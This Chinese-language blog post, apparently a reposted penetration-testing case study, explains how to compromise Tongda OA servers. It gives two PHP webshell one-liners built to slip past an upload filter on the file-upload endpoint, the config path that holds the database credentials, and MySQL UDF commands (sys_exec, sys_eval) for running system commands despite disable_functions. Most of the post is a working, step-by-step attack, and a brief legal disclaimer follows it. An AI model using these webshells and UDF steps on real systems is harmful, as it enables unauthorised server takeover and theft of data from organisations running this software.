【案例】通达OA任意文件上传绕过+Udf绕过RCE的故事

admin 2026-01-13 14:38:51 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章记录通达OA任意文件上传与disable_function双重绕过实战:先识别tongda-oa-action-upload-php-upload接口,利用无参RCE和extract变量覆盖避开对$_POST[‘x’]检测上传shell;再用蚁剑连数据库,按版本把udf.dll放入mysql/lib/plugin或系统目录,创建sys_eval函数执行命令,实现UDF提权,全程提供可复现代码与路径,解决传马后命令被禁痛点 综合评分: 82 文章分类: 渗透测试,WEB安全,漏洞分析,实战经验,漏洞POC


cover_image

【案例】通达OA任意文件上传绕过+Udf绕过RCE的故事

原创

d0n9x1e

蝉SEC

2026年1月12日 17:38 日本

RCE过的朋友都知道,通达OA在传马之后,常常出现disable_function限制我们无法顺利命令执行的问题,今日分享主题:

1,通达OA任意文件上传的绕过方案

2,通达OA-RCE无法执行命令的解决

问题一:

通过扫描,发现该站点存在tongda-oa-action-upload-php-upload,随后,你像疯了一样进行验证,发现确实存在

聪明的你就想传木马了,于是你先传了一个system函数,想执行命令,但是,你发现了一个问题,没办法执行

随后,你从裤裆掏出你的eval函数,单独执行

你发现你的eval函数是可以执行的,你欣喜若狂,就当你上传木马的时候

现实再次给你当头一棒,无法上传

你本着遇到问题解决问题的想法,去尝试分析,是什么东西被过滤了,经过你的尝试,你发现了原来是对‘$_POST[‘x’]’格式进行检测

常规的加号无法绕过,这个时候,你想起了你曾经打CTF的时候学习的无参RCE和参数覆盖,随后你制作了如下木马,成功上传;

无参RCE在之前发过相关文章

<?php&nbsp;eval(reset(array_reverse(current(get_defined_vars()))));?>

变量覆盖如下:

<?php&nbsp;extract($_POST);eval($s);?>

这样我们就绕过了对$_POST[‘x’]格式的检测

使用蚁剑成功连接

到这里我们第一个问题解决了,大家有任何疑问可直接评论区留言!

问题二:

连接上之后,我们发现命令无法执行,还是disable_function搞的鬼

这里我们就介绍第二个思路

udf方式绕过disable_function

(1)获取udf.dll文件

直接使用metasploit里面的dll脚本

位置如下:

/usr/share/metasploit-framework/data/exploits/mysql

连接OA的数据库,数据库账号密码地址如下:

E:/MYOA/webroot/inc/oa_config.php

这里注意,无法进行端口转发,但蚁剑有数据库连接功能,这里使用蚁剑进行数据库连接

下面将我们刚刚的udf进行上传,这里有一点需要注意就是上传位置

如果版本号大于5.1.4 上传udf的位置应该放在 mysql\lib\plugin目录下

如果版本小于5.1 上传udf的位置应该放在c盘的windows或者windows32目录里

下面进行udf利用

create&nbsp;function&nbsp;sys_exec&nbsp;RETURNS&nbsp;int&nbsp;soname&nbsp;'mysqludf.dll';create&nbsp;function&nbsp;sys_eval&nbsp;returns&nbsp;string soname&nbsp;'mysqludf.dll';select&nbsp;sys_eval("whoami");

到这里利用了udf的方式绕过了其对disable_function的限制进行命令执行

欢迎大家一起指点讨论!!!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:蝉SEC d0n9x1e《【案例】通达OA任意文件上传绕过+Udf绕过RCE的故事》

评论:0   参与:  0